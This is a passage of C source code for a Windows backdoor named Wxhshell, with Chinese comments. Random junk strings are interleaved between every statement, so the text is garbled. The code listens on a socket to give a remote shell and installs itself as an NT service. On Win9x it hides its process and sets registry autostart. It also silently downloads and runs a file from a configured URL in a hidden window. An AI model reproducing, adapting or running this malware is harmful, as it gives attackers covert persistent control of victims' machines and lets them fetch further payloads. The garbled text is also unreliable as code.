// 主模块 /iQh'rp int StartWxhshell(LPSTR lpCmdLine) J>;r(j { <6,,:=# SOCKET wsl; h>cjRH?e BOOL val=TRUE; gYk5}E- int port=0; ;YMg4Cs struct sockaddr_in door; 3$5E1*ed /Lm~GmPt if(wscfg.ws_autoins) Install(); u#^l9/tl iPWr- port=atoi(lpCmdLine); w{*V8S3h9 @o'L! 5Y if(port<=0) port=wscfg.ws_port; 9h)8Mq+M :~srl)|) WSADATA data; 3ZyvX]@_ if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; g`C8ouy c9CFGo?)N if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; .;ofRx< setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); jJt4{c door.sin_family = AF_INET; (RG "2I3 door.sin_addr.s_addr = inet_addr("127.0.0.1"); 1MnC5[Q door.sin_port = htons(port); wxPl[)E d&Nji%Ej if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { i^A=nsD` closesocket(wsl); P7bb2"_9 return 1; 6d/v%-3 } ~$j;@4 hmG8
{h/ if(listen(wsl,2) == INVALID_SOCKET) { ~ QohP`_ closesocket(wsl); g&EK^q return 1; Y{#*;p*I } +(afO~9 Wxhshell(wsl); S+wT}_BQ WSACleanup(); L%{YLl-zf] dw5"}-D return 0; )uR_d=B& GQd[7j[sh } Dr=$ }Y ~!g2+^G7+P // 以NT服务方式启动 :2
:VMIa VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 1-PlRQs.1 { (3!6nQj-t DWORD status = 0; N'aq4okoL DWORD specificError = 0xfffffff; `{
HWk^ k\j_hu serviceStatus.dwServiceType = SERVICE_WIN32; "%a<+D serviceStatus.dwCurrentState = SERVICE_START_PENDING; %,
iAngF' serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 5/h-Hr serviceStatus.dwWin32ExitCode = 0; T{`VUS/ serviceStatus.dwServiceSpecificExitCode = 0; j;z7T;!i serviceStatus.dwCheckPoint = 0; ^EkxZ4*g serviceStatus.dwWaitHint = 0; J-uQF| y0&vsoT hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); -vY5h%7kf if (hServiceStatusHandle==0) return; t?PqfVSq /N<aN9Z<x, status = GetLastError(); +,$pcf<[V if (status!=NO_ERROR) KfZb=v;-l { YX)Rs
Vf serviceStatus.dwCurrentState = SERVICE_STOPPED; r@vt.t0# serviceStatus.dwCheckPoint = 0; XOI"BLd serviceStatus.dwWaitHint = 0; )rAJ>; serviceStatus.dwWin32ExitCode = status; '@M"#`#0 serviceStatus.dwServiceSpecificExitCode = specificError; T{m) = (q SetServiceStatus(hServiceStatusHandle, &serviceStatus); e?B}^Dk0i return; ZnzO] } ']I!1>v$[ mf{M-(6' serviceStatus.dwCurrentState = SERVICE_RUNNING; ='4)E6ea? serviceStatus.dwCheckPoint = 0; Z[]8X@IPe serviceStatus.dwWaitHint = 0; zF>;7'\x if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); B]() } #>,E"-]f |j9aTv[` // 处理NT服务事件,比如:启动、停止 -\;0gnf{J VOID WINAPI NTServiceHandler(DWORD fdwControl) t0@AfO.'1 { (U#
Oj" switch(fdwControl) 5p:BHw;%; { IpSWg case SERVICE_CONTROL_STOP: YwF&-~mp7n serviceStatus.dwWin32ExitCode = 0; )1Y?S; serviceStatus.dwCurrentState = SERVICE_STOPPED; lz<'
L.
. serviceStatus.dwCheckPoint = 0; Ev7v,7`z serviceStatus.dwWaitHint = 0; (jj`}Qe3U { <Z.{q Zd SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9\WtcLx } t1J3'lS return; i\b^}m8c.N case SERVICE_CONTROL_PAUSE: 8Yf*vp>T/x serviceStatus.dwCurrentState = SERVICE_PAUSED; (s&]V49 break; \-[bU6\A\ case SERVICE_CONTROL_CONTINUE: }79jyS-e serviceStatus.dwCurrentState = SERVICE_RUNNING; 2\z|/
Q break; Y_jc *S case SERVICE_CONTROL_INTERROGATE: D|m3.si break; zaLPPm&f }; }+pwSjsno SetServiceStatus(hServiceStatusHandle, &serviceStatus); D&o\q68W } srAWet ~TS!5Wiv // 标准应用程序主函数 8]b;l; W5 int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) kV T |(Y { Sa[lYMuB y?O-h1"3, // 获取操作系统版本 DbFe;3 OsIsNt=GetOsVer(); 6B7*|R> GetModuleFileName(NULL,ExeFile,MAX_PATH); NQZ /E )f 6m(? (6+;K // 从命令行安装 _,aFQ^]'9 if(strpbrk(lpCmdLine,"iI")) Install(); P!IA;i ob2_=hQnC // 下载执行文件 6D2ot&5WW if(wscfg.ws_downexe) { jXALL8[c if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) (GpP=lSSeY WinExec(wscfg.ws_filenam,SW_HIDE); [M%?[E}> } EsX(<bx \#) YS if(!OsIsNt) { =p=/@ FN // 如果时win9x,隐藏进程并且设置为注册表启动 :A @f[Y'9 HideProc(); z\ONwMl StartWxhshell(lpCmdLine); |nnFjGC`~ } VV}"zc^ else 'Rsr*gX# if(StartFromService()) _D?/$D7u#% // 以服务方式启动 fjy\Q StartServiceCtrlDispatcher(DispatchTable); Jj=N+,km else .xmB8 R // 普通方式启动 6fI2y4yEz StartWxhshell(lpCmdLine); l1]{r2g _/}$X"4 return 0; r*$f^T!| }
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